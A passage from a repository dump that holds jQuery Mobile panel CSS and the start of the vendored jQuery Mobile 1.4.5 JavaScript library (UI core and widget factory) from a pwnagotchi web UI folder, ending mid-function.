.ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: -ms-transform 1ms; -ms-transform: rotate(0deg); } } /* Hardware acceleration for smoother transitions on WebKit browsers */ .ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); } /* Panel positioning (for overlay and push) */ /* Panel left closed */ .ui-panel-position-left { left: -17em; } /* Panel left closed animated */ .ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-left.ui-panel-display-push { left: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Panel left open */ .ui-panel-position-left.ui-panel-display-reveal, /* Unset "panel left closed" for reveal */ .ui-panel-open.ui-panel-position-left { left: 0; } /* Panel left open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Panel right closed */ .ui-panel-position-right { right: -17em; } /* Panel right closed animated */ .ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-right.ui-panel-display-push { right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-position-right.ui-panel-display-reveal, /* Unset "panel right closed" for reveal */ .ui-panel-position-right.ui-panel-open { right: 0; } /* Panel right open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Wrapper and fixed toolbars positioning (for reveal and push) */ /* Panel left open */ .ui-panel-page-content-position-left { left: 17em; right: -17em; } /* Panel left open animated */ .ui-panel-animate.ui-panel-page-content-position-left { left: 0; right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-page-content-position-right { left: -17em; right: 17em; } /* Panel right open animated */ .ui-panel-animate.ui-panel-page-content-position-right { left: 0; right: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Dismiss model open */ .ui-panel-dismiss-open.ui-panel-dismiss-position-left { left: 17em; } .ui-panel-dismiss-open.ui-panel-dismiss-position-right { right: 17em; } /* Shadows and borders */ .ui-panel-display-reveal { -webkit-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); box-shadow: inset -5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-reveal { -webkit-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); box-shadow: inset 5px 0 5px rgba(0,0,0,.15); } .ui-panel-display-overlay { -webkit-box-shadow: 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: 5px 0 5px rgba(0,0,0,.15); box-shadow: 5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-overlay { -webkit-box-shadow: -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: -5px 0 5px rgba(0,0,0,.15); box-shadow: -5px 0 5px rgba(0,0,0,.15); } .ui-panel-open.ui-panel-position-left.ui-panel-display-push { border-right-width: 1px; margin-right: -1px; } .ui-panel-page-content-position-left.ui-panel-page-content-display-push { margin-left: 1px; width: auto; } .ui-panel-open.ui-panel-position-right.ui-panel-display-push { border-left-width: 1px; margin-left: -1px; } .ui-panel-page-content-position-right.ui-panel-page-content-display-push { margin-right: 1px; width: auto; } /* Responsive: wrap on wide viewports once open */ @media (min-width:55em) { .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-left { margin-right: 17em; } .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-right { margin-left: 17em; } .ui-responsive-panel .ui-panel-page-content-open { width: auto; } .ui-responsive-panel .ui-panel-dismiss-display-push, .ui-responsive-panel.ui-page-active ~ .ui-panel-dismiss-display-push { display: none; } } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile-1.4.5.js ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ (function ( root, doc, factory ) { if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], function ( $ ) { factory( $, root, doc ); return $.mobile; }); } else { // Browser globals factory( root.jQuery, root, doc ); } }( this, document, function ( jQuery, window, document, undefined ) { (function( $ ) { $.mobile = {}; }( jQuery )); /*! * jQuery UI Core c0ab71056b936627e8a7821f03c044aec6280a40 * http://jqueryui.com * * Copyright 2013 jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/category/ui-core/ */ (function( $, undefined ) { var uuid = 0, runiqueId = /^ui-id-\d+$/; // $.ui might exist from components with no dependencies, e.g., $.ui.position $.ui = $.ui || {}; $.extend( $.ui, { version: "c0ab71056b936627e8a7821f03c044aec6280a40", keyCode: { BACKSPACE: 8, COMMA: 188, DELETE: 46, DOWN: 40, END: 35, ENTER: 13, ESCAPE: 27, HOME: 36, LEFT: 37, PAGE_DOWN: 34, PAGE_UP: 33, PERIOD: 190, RIGHT: 39, SPACE: 32, TAB: 9, UP: 38 } }); // plugins $.fn.extend({ focus: (function( orig ) { return function( delay, fn ) { return typeof delay === "number" ? this.each(function() { var elem = this; setTimeout(function() { $( elem ).focus(); if ( fn ) { fn.call( elem ); } }, delay ); }) : orig.apply( this, arguments ); }; })( $.fn.focus ), scrollParent: function() { var scrollParent; if (($.ui.ie && (/(static|relative)/).test(this.css("position"))) || (/absolute/).test(this.css("position"))) { scrollParent = this.parents().filter(function() { return (/(relative|absolute|fixed)/).test($.css(this,"position")) && (/(auto|scroll)/).test($.css(this,"overflow")+$.css(this,"overflow-y")+$.css(this,"overflow-x")); }).eq(0); } else { scrollParent = this.parents().filter(function() { return (/(auto|scroll)/).test($.css(this,"overflow")+$.css(this,"overflow-y")+$.css(this,"overflow-x")); }).eq(0); } return ( /fixed/ ).test( this.css( "position") ) || !scrollParent.length ? $( this[ 0 ].ownerDocument || document ) : scrollParent; }, uniqueId: function() { return this.each(function() { if ( !this.id ) { this.id = "ui-id-" + (++uuid); } }); }, removeUniqueId: function() { return this.each(function() { if ( runiqueId.test( this.id ) ) { $( this ).removeAttr( "id" ); } }); } }); // selectors function focusable( element, isTabIndexNotNaN ) { var map, mapName, img, nodeName = element.nodeName.toLowerCase(); if ( "area" === nodeName ) { map = element.parentNode; mapName = map.name; if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) { return false; } img = $( "img[usemap=#" + mapName + "]" )[0]; return !!img && visible( img ); } return ( /input|select|textarea|button|object/.test( nodeName ) ? !element.disabled : "a" === nodeName ? element.href || isTabIndexNotNaN : isTabIndexNotNaN) && // the element and all of its ancestors must be visible visible( element ); } function visible( element ) { return $.expr.filters.visible( element ) && !$( element ).parents().addBack().filter(function() { return $.css( this, "visibility" ) === "hidden"; }).length; } $.extend( $.expr[ ":" ], { data: $.expr.createPseudo ? $.expr.createPseudo(function( dataName ) { return function( elem ) { return !!$.data( elem, dataName ); }; }) : // support: jQuery <1.8 function( elem, i, match ) { return !!$.data( elem, match[ 3 ] ); }, focusable: function( element ) { return focusable( element, !isNaN( $.attr( element, "tabindex" ) ) ); }, tabbable: function( element ) { var tabIndex = $.attr( element, "tabindex" ), isTabIndexNaN = isNaN( tabIndex ); return ( isTabIndexNaN || tabIndex >= 0 ) && focusable( element, !isTabIndexNaN ); } }); // support: jQuery <1.8 if ( !$( "<a>" ).outerWidth( 1 ).jquery ) { $.each( [ "Width", "Height" ], function( i, name ) { var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ], type = name.toLowerCase(), orig = { innerWidth: $.fn.innerWidth, innerHeight: $.fn.innerHeight, outerWidth: $.fn.outerWidth, outerHeight: $.fn.outerHeight }; function reduce( elem, size, border, margin ) { $.each( side, function() { size -= parseFloat( $.css( elem, "padding" + this ) ) || 0; if ( border ) { size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0; } if ( margin ) { size -= parseFloat( $.css( elem, "margin" + this ) ) || 0; } }); return size; } $.fn[ "inner" + name ] = function( size ) { if ( size === undefined ) { return orig[ "inner" + name ].call( this ); } return this.each(function() { $( this ).css( type, reduce( this, size ) + "px" ); }); }; $.fn[ "outer" + name] = function( size, margin ) { if ( typeof size !== "number" ) { return orig[ "outer" + name ].call( this, size ); } return this.each(function() { $( this).css( type, reduce( this, size, true, margin ) + "px" ); }); }; }); } // support: jQuery <1.8 if ( !$.fn.addBack ) { $.fn.addBack = function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); }; } // support: jQuery 1.6.1, 1.6.2 (http://bugs.jquery.com/ticket/9413) if ( $( "<a>" ).data( "a-b", "a" ).removeData( "a-b" ).data( "a-b" ) ) { $.fn.removeData = (function( removeData ) { return function( key ) { if ( arguments.length ) { return removeData.call( this, $.camelCase( key ) ); } else { return removeData.call( this ); } }; })( $.fn.removeData ); } // deprecated $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() ); $.support.selectstart = "onselectstart" in document.createElement( "div" ); $.fn.extend({ disableSelection: function() { return this.bind( ( $.support.selectstart ? "selectstart" : "mousedown" ) + ".ui-disableSelection", function( event ) { event.preventDefault(); }); }, enableSelection: function() { return this.unbind( ".ui-disableSelection" ); }, zIndex: function( zIndex ) { if ( zIndex !== undefined ) { return this.css( "zIndex", zIndex ); } if ( this.length ) { var elem = $( this[ 0 ] ), position, value; while ( elem.length && elem[ 0 ] !== document ) { // Ignore z-index if position is set to a value where z-index is ignored by the browser // This makes behavior of this function consistent across browsers // WebKit always returns auto if the element is positioned position = elem.css( "position" ); if ( position === "absolute" || position === "relative" || position === "fixed" ) { // IE returns 0 when zIndex is not specified // other browsers return a string // we ignore the case of nested elements with an explicit value of 0 // <div style="z-index: -10;"><div style="z-index: 0;"></div></div> value = parseInt( elem.css( "zIndex" ), 10 ); if ( !isNaN( value ) && value !== 0 ) { return value; } } elem = elem.parent(); } } return 0; } }); // $.ui.plugin is deprecated. Use $.widget() extensions instead. $.ui.plugin = { add: function( module, option, set ) { var i, proto = $.ui[ module ].prototype; for ( i in set ) { proto.plugins[ i ] = proto.plugins[ i ] || []; proto.plugins[ i ].push( [ option, set[ i ] ] ); } }, call: function( instance, name, args, allowDisconnected ) { var i, set = instance.plugins[ name ]; if ( !set ) { return; } if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) ) { return; } for ( i = 0; i < set.length; i++ ) { if ( instance.options[ set[ i ][ 0 ] ] ) { set[ i ][ 1 ].apply( instance.element, args ); } } } }; })( jQuery ); (function( $, window, undefined ) { // Subtract the height of external toolbars from the page height, if the page does not have // internal toolbars of the same type. We take care to use the widget options if we find a // widget instance and the element's data-attributes otherwise. var compensateToolbars = function( page, desiredHeight ) { var pageParent = page.parent(), toolbarsAffectingHeight = [], // We use this function to filter fixed toolbars with option updatePagePadding set to // true (which is the default) from our height subtraction, because fixed toolbars with // option updatePagePadding set to true compensate for their presence by adding padding // to the active page. We want to avoid double-counting by also subtracting their // height from the desired page height. noPadders = function() { var theElement = $( this ), widgetOptions = $.mobile.toolbar && theElement.data( "mobile-toolbar" ) ? theElement.toolbar( "option" ) : { position: theElement.attr( "data-" + $.mobile.ns + "position" ), updatePagePadding: ( theElement.attr( "data-" + $.mobile.ns + "update-page-padding" ) !== false ) }; return !( widgetOptions.position === "fixed" && widgetOptions.updatePagePadding === true ); }, externalHeaders = pageParent.children( ":jqmData(role='header')" ).filter( noPadders ), internalHeaders = page.children( ":jqmData(role='header')" ), externalFooters = pageParent.children( ":jqmData(role='footer')" ).filter( noPadders ), internalFooters = page.children( ":jqmData(role='footer')" ); // If we have no internal headers, but we do have external headers, then their height // reduces the page height if ( internalHeaders.length === 0 && externalHeaders.length > 0 ) { toolbarsAffectingHeight = toolbarsAffectingHeight.concat( externalHeaders.toArray() ); } // If we have no internal footers, but we do have external footers, then their height // reduces the page height if ( internalFooters.length === 0 && externalFooters.length > 0 ) { toolbarsAffectingHeight = toolbarsAffectingHeight.concat( externalFooters.toArray() ); } $.each( toolbarsAffectingHeight, function( index, value ) { desiredHeight -= $( value ).outerHeight(); }); // Height must be at least zero return Math.max( 0, desiredHeight ); }; $.extend( $.mobile, { // define the window and the document objects window: $( window ), document: $( document ), // TODO: Remove and use $.ui.keyCode directly keyCode: $.ui.keyCode, // Place to store various widget extensions behaviors: {}, // Scroll page vertically: scroll to 0 to hide iOS address bar, or pass a Y value silentScroll: function( ypos ) { if ( $.type( ypos ) !== "number" ) { ypos = $.mobile.defaultHomeScroll; } // prevent scrollstart and scrollstop events $.event.special.scrollstart.enabled = false; setTimeout(function() { window.scrollTo( 0, ypos ); $.mobile.document.trigger( "silentscroll", { x: 0, y: ypos }); }, 20 ); setTimeout(function() { $.event.special.scrollstart.enabled = true; }, 150 ); }, getClosestBaseUrl: function( ele ) { // Find the closest page and extract out its url. var url = $( ele ).closest( ".ui-page" ).jqmData( "url" ), base = $.mobile.path.documentBase.hrefNoHash; if ( !$.mobile.dynamicBaseEnabled || !url || !$.mobile.path.isPath( url ) ) { url = base; } return $.mobile.path.makeUrlAbsolute( url, base ); }, removeActiveLinkClass: function( forceRemoval ) { if ( !!$.mobile.activeClickedLink && ( !$.mobile.activeClickedLink.closest( "." + $.mobile.activePageClass ).length || forceRemoval ) ) { $.mobile.activeClickedLink.removeClass( $.mobile.activeBtnClass ); } $.mobile.activeClickedLink = null; }, // DEPRECATED in 1.4 // Find the closest parent with a theme class on it. Note that // we are not using $.fn.closest() on purpose here because this // method gets called quite a bit and we need it to be as fast // as possible. getInheritedTheme: function( el, defaultTheme ) { var e = el[ 0 ], ltr = "", re = /ui-(bar|body|overlay)-([a-z])\b/, c, m; while ( e ) { c = e.className || ""; if ( c && ( m = re.exec( c ) ) && ( ltr = m[ 2 ] ) ) { // We found a parent with a theme class // on it so bail from this loop. break; } e = e.parentNode; } // Return the theme letter we found, if none, return the // specified default. return ltr || defaultTheme || "a"; }, enhanceable: function( elements ) { return this.haveParents( elements, "enhance" ); }, hijackable: function( elements ) { return this.haveParents( elements, "ajax" ); }, haveParents: function( elements, attr ) { if ( !$.mobile.ignoreContentEnabled ) { return elements; } var count = elements.length, $newSet = $(), e, $element, excluded, i, c; for ( i = 0; i < count; i++ ) { $element = elements.eq( i ); excluded = false; e = elements[ i ]; while ( e ) { c = e.getAttribute ? e.getAttribute( "data-" + $.mobile.ns + attr ) : ""; if ( c === "false" ) { excluded = true; break; } e = e.parentNode; } if ( !excluded ) { $newSet = $newSet.add( $element ); } } return $newSet; }, getScreenHeight: function() { // Native innerHeight returns more accurate value for this across platforms, // jQuery version is here as a normalized fallback for platforms like Symbian return window.innerHeight || $.mobile.window.height(); }, //simply set the active page's minimum height to screen height, depending on orientation resetActivePageHeight: function( height ) { var page = $( "." + $.mobile.activePageClass ), pageHeight = page.height(), pageOuterHeight = page.outerHeight( true ); height = compensateToolbars( page, ( typeof height === "number" ) ? height : $.mobile.getScreenHeight() ); // Remove any previous min-height setting page.css( "min-height", "" ); // Set the minimum height only if the height as determined by CSS is insufficient if ( page.height() < height ) { page.css( "min-height", height - ( pageOuterHeight - pageHeight ) ); } }, loading: function() { // If this is the first call to this function, instantiate a loader widget var loader = this.loading._widget || $( $.mobile.loader.prototype.defaultHtml ).loader(), // Call the appropriate method on the loader returnValue = loader.loader.apply( loader, arguments ); // Make sure the loader is retained for future calls to this function. this.loading._widget = loader; return returnValue; } }); $.addDependents = function( elem, newDependents ) { var $elem = $( elem ), dependents = $elem.jqmData( "dependents" ) || $(); $elem.jqmData( "dependents", $( dependents ).add( newDependents ) ); }; // plugins $.fn.extend({ removeWithDependents: function() { $.removeWithDependents( this ); }, // Enhance child elements enhanceWithin: function() { var index, widgetElements = {}, keepNative = $.mobile.page.prototype.keepNativeSelector(), that = this; // Add no js class to elements if ( $.mobile.nojs ) { $.mobile.nojs( this ); } // Bind links for ajax nav if ( $.mobile.links ) { $.mobile.links( this ); } // Degrade inputs for styleing if ( $.mobile.degradeInputsWithin ) { $.mobile.degradeInputsWithin( this ); } // Run buttonmarkup if ( $.fn.buttonMarkup ) { this.find( $.fn.buttonMarkup.initSelector ).not( keepNative ) .jqmEnhanceable().buttonMarkup(); } // Add classes for fieldContain if ( $.fn.fieldcontain ) { this.find( ":jqmData(role='fieldcontain')" ).not( keepNative ) .jqmEnhanceable().fieldcontain(); } // Enhance widgets $.each( $.mobile.widgets, function( name, constructor ) { // If initSelector not false find elements if ( constructor.initSelector ) { // Filter elements that should not be enhanced based on parents var elements = $.mobile.enhanceable( that.find( constructor.initSelector ) ); // If any matching elements remain filter ones with keepNativeSelector if ( elements.length > 0 ) { // $.mobile.page.prototype.keepNativeSelector is deprecated this is just for backcompat // Switch to $.mobile.keepNative in 1.5 which is just a value not a function elements = elements.not( keepNative ); } // Enhance whatever is left if ( elements.length > 0 ) { widgetElements[ constructor.prototype.widgetName ] = elements; } } }); for ( index in widgetElements ) { widgetElements[ index ][ index ](); } return this; }, addDependents: function( newDependents ) { $.addDependents( this, newDependents ); }, // note that this helper doesn't attempt to handle the callback // or setting of an html element's text, its only purpose is // to return the html encoded version of the text in all cases. (thus the name) getEncodedText: function() { return $( "<a>" ).text( this.text() ).html(); }, // fluent helper function for the mobile namespaced equivalent jqmEnhanceable: function() { return $.mobile.enhanceable( this ); }, jqmHijackable: function() { return $.mobile.hijackable( this ); } }); $.removeWithDependents = function( nativeElement ) { var element = $( nativeElement ); ( element.jqmData( "dependents" ) || $() ).remove(); element.remove(); }; $.addDependents = function( nativeElement, newDependents ) { var element = $( nativeElement ), dependents = element.jqmData( "dependents" ) || $(); element.jqmData( "dependents", $( dependents ).add( newDependents ) ); }; $.find.matches = function( expr, set ) { return $.find( expr, null, null, set ); }; $.find.matchesSelector = function( node, expr ) { return $.find( expr, null, null, [ node ] ).length > 0; }; })( jQuery, this ); (function( $, window, undefined ) { $.extend( $.mobile, { // Version of the jQuery Mobile Framework version: "1.4.5", // Deprecated and no longer used in 1.4 remove in 1.5 // Define the url parameter used for referencing widget-generated sub-pages. // Translates to example.html&ui-page=subpageIdentifier // hash segment before &ui-page= is used to make Ajax request subPageUrlKey: "ui-page", hideUrlBar: true, // Keepnative Selector keepNative: ":jqmData(role='none'), :jqmData(role='nojs')", // Deprecated in 1.4 remove in 1.5 // Class assigned to page currently in view, and during transitions activePageClass: "ui-page-active", // Deprecated in 1.4 remove in 1.5 // Class used for "active" button state, from CSS framework activeBtnClass: "ui-btn-active", // Deprecated in 1.4 remove in 1.5 // Class used for "focus" form element state, from CSS framework focusClass: "ui-focus", // Automatically handle clicks and form submissions through Ajax, when same-domain ajaxEnabled: true, // Automatically load and show pages based on location.hash hashListeningEnabled: true, // disable to prevent jquery from bothering with links linkBindingEnabled: true, // Set default page transition - 'none' for no transitions defaultPageTransition: "fade", // Set maximum window width for transitions to apply - 'false' for no limit maxTransitionWidth: false, // Minimum scroll distance that will be remembered when returning to a page // Deprecated remove in 1.5 minScrollBack: 0, // Set default dialog transition - 'none' for no transitions defaultDialogTransition: "pop", // Error response message - appears when an Ajax page request fails pageLoadErrorMessage: "Error Loading Page", // For error messages, which theme does the box use? pageLoadErrorMessageTheme: "a", // replace calls to window.history.back with phonegaps navigation helper // where it is provided on the window object phonegapNavigationEnabled: false, //automatically initialize the DOM when it's ready autoInitializePage: true, pushStateEnabled: true, // allows users to opt in to ignoring content by marking a parent element as // data-ignored ignoreContentEnabled: false, buttonMarkup: { hoverDelay: 200 }, // disable the alteration of the dynamic base tag or links in the case // that a dynamic base tag isn't supported dynamicBaseEnabled: true, // default the property to remove dependency on assignment in init module pageContainer: $(), //enable cross-domain page support allowCrossDomainPages: false, dialogHashKey: "&ui-state=dialog" }); })( jQuery, this ); /*! * jQuery UI Widget c0ab71056b936627e8a7821f03c044aec6280a40 * http://jqueryui.com * * Copyright 2013 jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/jQuery.widget/ */ (function( $, undefined ) { var uuid = 0, slice = Array.prototype.slice, _cleanData = $.cleanData; $.cleanData = function( elems ) { for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) { try { $( elem ).triggerHandler( "remove" ); // http://bugs.jquery.com/ticket/8235 } catch( e ) {} } _cleanData( elems ); }; $.widget = function( name, base, prototype ) { var fullName, existingConstructor, constructor, basePrototype, // proxiedPrototype allows the provided prototype to remain unmodified // so that it can be used as a mixin for multiple widgets (#8876) proxiedPrototype = {}, namespace = name.split( "." )[ 0 ]; name = name.split( "." )[ 1 ]; fullName = namespace + "-" + name; if ( !prototype ) { prototype = base; base = $.Widget; } // create selector for plugin $.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) { return !!$.data( elem, fullName ); }; $[ namespace ] = $[ namespace ] || {}; existingConstructor = $[ namespace ][ name ]; constructor = $[ namespace ][ name ] = function( options, element ) { // allow instantiation without "new" keyword if ( !this._createWidget ) { return new constructor( options, element ); } // allow instantiation without initializing for simple inheritance // must use "new" keyword (the code above always passes args) if ( arguments.length ) { this._createWidget( options, element ); } }; // extend with the existing constructor to carry over any static properties $.extend( constructor, existingConstructor, { version: prototype.version, // copy the object used to create the prototype in case we need to // redefine the widget later _proto: $.extend( {}, prototype ), // track widgets that inherit from this widget in case this widget is // redefined after a widget inherits from it _childConstructors: [] }); basePrototype = new base(); // we need to make the options hash a property directly on the new instance // otherwise we'll modify the options hash on the prototype that we're // inheriting from basePrototype.options = $.widget.extend( {}, basePrototype.options ); $.each( prototype, function( prop, value ) { if ( !$.isFunction( value ) ) { proxiedPrototype[ prop ] = value; return; } proxiedPrototype[ prop ] = (function() { var _super = function() { return base.prototype[ prop ].apply( this, arguments ); }, _superApply = function( args ) { return base.prototype[ prop ].apply( this, args ); }; return function() { var __super = this._super, __superApply = this._superApply, returnValue; this._super = _super; this._superApply = _superApply; returnValue = value.apply( this, arguments ); this._super = __super; this._superApply = __superApply; return returnValue; }; })(); }); constructor.prototype = $.widget.extend( basePrototype, { // TODO: remove support for widgetEventPrefix // always use the name + a colon as the prefix, e.g., draggable:start // don't prefix for widgets that aren't DOM-based widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name }, proxiedPrototype, { constructor: constructor, namespace: namespace, widgetName: name, widgetFullName: fullName }); // If this widget is being redefined then we need to find all widgets that // are inheriting from it and redefine all of them so that they inherit from // the new version of this widget. We're essentially trying to replace one // level in the prototype chain. if ( existingConstructor ) { $.each( existingConstructor._childConstructors, function( i, child ) { var childPrototype = child.prototype; // redefine the child widget using the same prototype that was // originally used, but inherit from the new version of the base $.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto ); }); // remove the list of existing child constructors from the old constructor // so the old child constructors can be garbage collected delete existingConstructor._childConstructors; } else { base._childConstructors.push( constructor ); } $.widget.bridge( name, constructor ); return constructor; }; $.widget.extend = function( target ) { var input = slice.call( arguments, 1 ), inputIndex = 0, inputLength = input.length, key, value; for ( ; inputIndex < inputLength; inputIndex++ ) { for ( key in input[ inputIndex ] ) { value = input[ inputIndex ][ key ]; if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) { // Clone objects if ( $.isPlainObject( value ) ) { target[ key ] = $.isPlainObject( target[ key ] ) ? $.widget.extend( {}, target[ key ], value ) : // Don't extend strings, arrays, etc. with objects $.widget.extend( {}, value ); // Copy everything else by reference } else { target[ key ] = value; } } } } return target; }; $.widget.bridge = function( name, object ) { var fullName = object.prototype.widgetFullName || name; $.fn[ name ] = function( options ) { var isMethodCall = typeof options === "string", args = slice.call( arguments, 1 ), returnValue = this; // allow multiple hashes to be passed on init options = !isMethodCall && args.length ? $.widget.extend.apply( null, [ options ].concat(args) ) : options; if ( isMethodCall ) { this.each(function() { var methodValue, instance = $.data( this, fullName ); if ( options === "instance" ) { returnValue = instance; return false; } if ( !instance ) { return $.error( "cannot call methods on " + name + " prior to initialization; " + "attempted to call method '" + options + "'" ); } if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) { return $.error( "no such method '" + options + "' for " + name + " widget instance" ); } methodValue = instance[ options ].apply( instance, args ); if ( methodValue !== instance && methodValue !== undefined ) { returnValue = methodValue && methodValue.jquery ? returnValue.pushStack( methodValue.get() ) : methodValue; return false; } }); } else { this.each(function() { var instance = $.data( this, fullName ); if ( instance ) { instance.option( options || {} )._init(); } else { $.data( this, fullName, new object( options, this ) ); } }); } return returnValue; }; }; $.Widget = function( /* options, element */ ) {}; $.Widget._childConstructors = []; $.Widget.prototype = { widgetName: "widget", widgetEventPrefix: "", defaultElement: "<div>", options: { disabled: false, // callbacks create: null }, _createWidget: function( options, element ) { element = $( element || this.defaultElement || this )[ 0 ]; this.element = $( element ); this.uuid = uuid++; this.eventNamespace = "." + this.widgetName + this.uuid; this.options = $.widget.extend( {}, this.options, this._getCreateOptions(), options ); this.bindings = $(); this.hoverable = $(); this.focusable = $(); if ( element !== this ) { $.data( element, this.widgetFullName, this ); this._on( true, this.element, { remove: function( event ) { if ( event.target === element ) { this.destroy(); } } }); this.document = $( element.style ? // element within the document element.ownerDocument : // element is window or document element.document || element ); this.window = $( this.document[0].defaultView || this.document[0].parentWindow ); } this._create(); this._trigger( "create", null, this._getCreateEventData() ); this._init(); }, _getCreateOptions: $.noop, _getCreateEventData: $.noop, _create: $.noop, _init: $.noop, destroy: function() { this._destroy(); // we can probably remove the unbind calls in 2.0 // all event bindings should go through this._on() this.element .unbind( this.eventNamespace ) .removeData( this.widgetFullName ) // support: jquery <1.6.3 // http://bugs.jquery.com/ticket/9413 .removeData( $.camelCase( this.widgetFullName ) ); this.widget() .unbind( this.eventNamespace ) .removeAttr( "aria-disabled" ) .removeClass( this.widgetFullName + "-disabled " + "ui-state-disabled" ); // clean up events and states this.bindings.unbind( this.eventNamespace ); this.hoverable.removeClass( "ui-state-hover" ); this.focusable.removeClass( "ui-state-focus" ); }, _destroy: $.noop, widget: function() { return this.element; }, option: function( key, value ) { var options = key, parts, curOption, i; if ( arguments.length === 0 ) { // don't return a reference to the internal hash return $.widget.extend( {}, this.options ); } if ( typeof key === "string" ) { // handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } } options = {}; parts = key.split( "." ); key = parts.shift(); if ( parts.length ) { curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] ); for ( i = 0; i < parts.length - 1; i++ ) { curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {}; curOption = curOption[ parts[ i ] ]; } key = parts.pop(); if ( value === undefined ) { return curOption[ key ] === undefined ? null : curOption[ key ]; } curOption[ key ] = value; } else { if ( value === undefined ) { return this.options[ key ] === undefined ? null : this.options[ key ]; } options[ key ] = value; } } this._setOptions( options ); return this; }, _setOptions: function( options ) { var key; for ( key in options ) { this._setOption( key, options[ key ] ); } return this; }, _setOption: function( key, value ) { this.options[ key ] = value; if ( key === "disabled" ) { this.widget() .toggleClass( this.widgetFullName + "-disabled", !!value ); this.hoverable.removeClass( "ui-state-hover" ); this.focusable.removeClass( "ui-state-focus" ); } return this; }, enable: function() { return this._setOptions({ disabled: false }); }, disable: function() { return this._setOptions({ disabled: true }); }, _on: function( suppressDisabledCheck, element, handlers ) { var delegateElement, instance = this; // no suppressDisabledCheck flag, shuffle arguments if ( typeof suppressDisabledCheck !== "boolean" ) { handlers = element; element = suppressDisabledCheck; suppressDisabledCheck = false; } // no element argument, shuffle and use this.element if ( !handlers ) { handlers = element; element = this.element; delegateElement = this.widget(); } else { // accept selectors, DOM elements element = delegateElement = $( element ); this.bindings = this.bindings.add( element ); } $.each( handlers, function( event, handler ) { function handlerProxy() { // allow widgets to customize the disabled handling // - disabled as an array instead of boolean // - disabled class as method for disabling individual parts if ( !suppressDisabledCheck && ( instance.options.disabled === true || $( this ).hasClass( "ui-state-disabled" ) ) ) { return; } return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } // copy the guid so direct unbinding works if ( typeof handler !== "string" ) { handlerProxy.guid = handler.guid = handler.guid || handlerProxy.guid || $.guid++; } var match = event.match( /^(\w+)\s*(.*)$/ ), eventName = match[1] + instance.eventNamespace, selector = match[2]; if ( selector ) { delegateElement.delegate( selector, eventName, handlerProxy ); } else { element.bind( eventName, handlerProxy ); } }); }, _off: function( element, eventName ) { eventName = (eventName || "").split( " " ).join( this.eventNamespace + " " ) + this.eventNamespace; element.unbind( eventName ).undelegate( eventName ); }, _delay: function( handler, delay ) { function handlerProxy() { return ( typeof handler === "string" ? instance[ handler ] : handler ) .apply( instance, arguments ); } var instance = this; return setTimeout( handlerProxy, delay || 0 ); }, _hoverable: function( element ) { this.hoverable = this.hoverable.add( element ); this._on( element, { mouseenter: function( event ) { $( event.currentTarget ).addClass( "ui-state-hover" ); }, mouseleave: function( event ) { $( event.currentTarget ).removeClass( "ui-state-hover" ); } }); }, _focusable: function( element ) { this.focusable = 